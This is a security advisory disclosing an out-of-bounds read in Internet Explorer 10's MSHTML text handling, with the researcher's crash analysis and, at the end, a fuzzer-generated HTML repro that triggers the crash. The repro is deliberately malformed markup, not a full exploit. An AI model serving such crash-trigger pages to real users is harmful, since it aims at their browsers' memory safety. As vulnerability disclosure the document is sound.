Microsoft Internet Explorer 10 MSHTML CElement::GetPlainTextInScope Out-Of-Bounds Read

Type packetstorm
Reporter SkyLined
Modified 2016-11-04T00:00:00


                                            `Throughout November, I plan to release details on vulnerabilities I  
found in web-browsers which I've not released before. This is the third  
entry in that series.  
The below information is also available on my blog at There you can find a repro  
that triggered this issue in addition to the information below.  
Follow me on for daily browser bugs.  
MSIE 10 MSHTML CElement::GetPlainTextInScope out-of-bounds read  
(The fix and CVE number for this bug are not known)  
An unknown issue in Microsoft Internet Explorer 10 could cause it to  
read data out-of-bounds. This issue was fixed before I was able to  
analyze it in detail, hence I did not determine exactly what the root  
cause was.  
Known affected software  
+ Internet Explorer 10  
An attacker would need to get a target user to open a specially  
crafted web-page. No special configuration settings are required in  
order to trigger the issue. No realistic mitigations are known;  
Javascript is not required to trigger the issue.  
My fuzzers were using a predecessor of BugId  
( to generate a report whenever they  
found a bug. Unfortunately, this wasn't as sophisticated as BugId is, so  
the information contained in these report is not as helpful. Still, I saved  
three reports, for crashes with slightly different stacks. This could  
have been caused by three different versions of MSIE 10 (every month  
when Microsoft released a new version with patches, the code may be  
optimized differently, which could explain these differences). It could  
also have been caused by the fuzzing framework attempting to reduce the  
size of the repro by cutting out chunks, which could lead to slightly  
different code-paths. Unfortunately, I do not know which.  
Either way, looking at the reports that were automatically generated for  
this bug (which can be found at the end of this article), one can find  
the following interesting information on all three:  
1) The stack tells us that there was a call to `CTextArea::Notify`,  
which suggests the one `textarea` element found in the repro is  
important to triggering the issue.  
2) The stack also tells us that there was a call to  
`CElement::GetPlainTextInScope`, which is commonly used to extract  
the text inside an element, so the text content in the `textarea`  
element is probably also important to triggering the issue. Since  
there is no closing `</textarea>` tag, this could be all the data in  
the repro after the opening `<textarea ...>` tag, or up to the first  
closing tag (`</div>`), depending on how the HTML parser works.  
3) Clicking on stack `Frame 1` in the report shows the report contains  
some disassembly and registers. Unfortunately, the code that  
generated the disassembly had a bug and started at the wrong  
address, so this isn't very useful. However, clicking on `Registers`  
will show that:  
* The crash happened in `MSHTML!memcpy`  
* the code looked for a unicode linefeed (0x000A) immediately after  
data pointed to by `edx`.  
The `Registers` section does suggest the following:  
* `ecx` was 0, so maybe all the data was already copied at this  
* `edx` was apparently used as a pointer to the data being copied.  
Online documentation for `memcpy` does not mention this behavior of  
looking for a linefeed, so it could be that `MSHTML` has an odd  
implementation, or that the symbol is simply wrong. I'm assuming that  
the code did copy the text content of a `textarea` element and was  
looking for a `CR`, `LF` line terminator. Unfortunately, the data at  
`edx` only contained one or the other, causing the code to look for the  
`LF` outside of the memory area allocated to store the data.  
The above suggests that there is limit opportunity for exploiting this  
issue: it may be possible to determine if a memory block allocated for a  
string of an attacker controlled size is followed by a memory block that  
starts with the bytes `0A 00`. To better understand the impact, one  
would have to get an older version of MSIE 10 and debug the crash.  
Unfortunately, I did not have time to do so.  
<!DO><meta B>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@em><noframes stSSS>qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<ins></ins><input type="file"></input type="file">WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW <details style="nav-left: auto !important; list-style-type: lower-greek; fill-opacity: 0.0089285714285714280757932925780551158823072910308837890625; text-align-last: center; writing-mode: rl-tb; fill-rule: nonzero; text-emphasis-style: open dot; marker-end: none; nav-index: 6; color-rendering: inherit" id="id_3" primary='2506545610.1541335502e+266' onwebkitanimationiteration><label><dt></table></dt></summary></input type="password"></figcaption><isindex></isindex>*****************<h3 style="color-interpolation: auto; border-image-outset: 0.0082644628099173556012857488894951529800891876220703125 !important; hyphenate-character: "Rh{Xz*<2Z-Y0i 9H#T`lV|W<X>&Kb4D/[\\4\\[3{wkC$TYu*[m7KE43~x,=oen3Bix-bjm3\)Axr7o3_HBhUU$?W7@>*3_aP#3t<kjcDD!~ VqX *YP05bS5@|&V:2\"xcIaM \"yW?J1olm!9Q\\?@`1*z^h;Zs8NCtj`<^2Q^[gp@H9qwIiwLr|^UU:\9oKcfL!9;\(wX0///c>tmp5PGSlYC!EYxAC\(>CRZu>!;J:Pv[x}* zsSGxSvTVm>gg$4o=b5sUF3"; -webkit-mask-position: top; -webkit-animation-duration: +6.5ms; -webkit-margin-top-collapse: collapse; text-shadow: none; font: small-caption; -webkit-max-logical-width: intrinsic; caption-side: inherit" style=0x80000001></tbody></progress></noframes><nobr arluenow></nobr><noscript event><var><u ></noscript><input type="t="text"><video ied><p/>^<fyer>/form><b>22nnn+++</b></atosave><textarea id="id_@@@@@@">AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj111111111111111777xx}}gg:::::::::::::::::::::::::::::::##^^^^^^^^mmmmmmmmmmmmmmm<legend><div class="class_0" onwaiting=`rgb(220,86,120)` oninvalid>DDhhhhhh</div><frame/><q style="-webkit-transform-origin: left !important; -webkit-box-pack: start; target: inherit; column-rule-width: none; text-decoration-line: line-through; border-width: thin; -webkit-margin-after: 18.80531505%; transition-delay: 23.17ms 3623.285s; -webkit-border-top-right-radius: 0000000000000000000000000000000025699999999% 00000000000000000000000000000000171798691869999999999999999% +000.008264462809917355601285748889495152980089187622070312500em; text-autospace: none" onmousewheel></frame></legend></h4>aVVV&&&&&&<xml/>uuuuuuxxxxx|---<h6/><bgsound></bgsound><datagrid optimum></xml></form></label><var id="id_4" aria-label=PPP onkeydown='Beige' onstalled=`Olive` maxlength="}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSooooooooo~~~~~~WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW@@xxxxx">.VVVVV\qqq<caption></caption><option id="id_2" datetime/>9999cccppppppp<nolayer aria-readonly/></nolayer><img src="data:image/svg+xml,<?xml version="1.0" encoding="UTF-8&qua;<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN&t;">&#<svg&; version="1.1"
"></option></var></head><body></link><track class="class_5" hreflang onwaiting='sssssssssssssssssssssssssssssss<______________)))))))))))))))))SSSSSS'>88888888888vv(GGGGGGGGSSSSSSSSSSSSSSSSSSSSSSSSSS,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,lllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllPeeeVVVVVVVVVVVVVVVVVVVVVVV5555555555599999ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc<dfn><hgroup><noframes indeterminate="M" nowrap=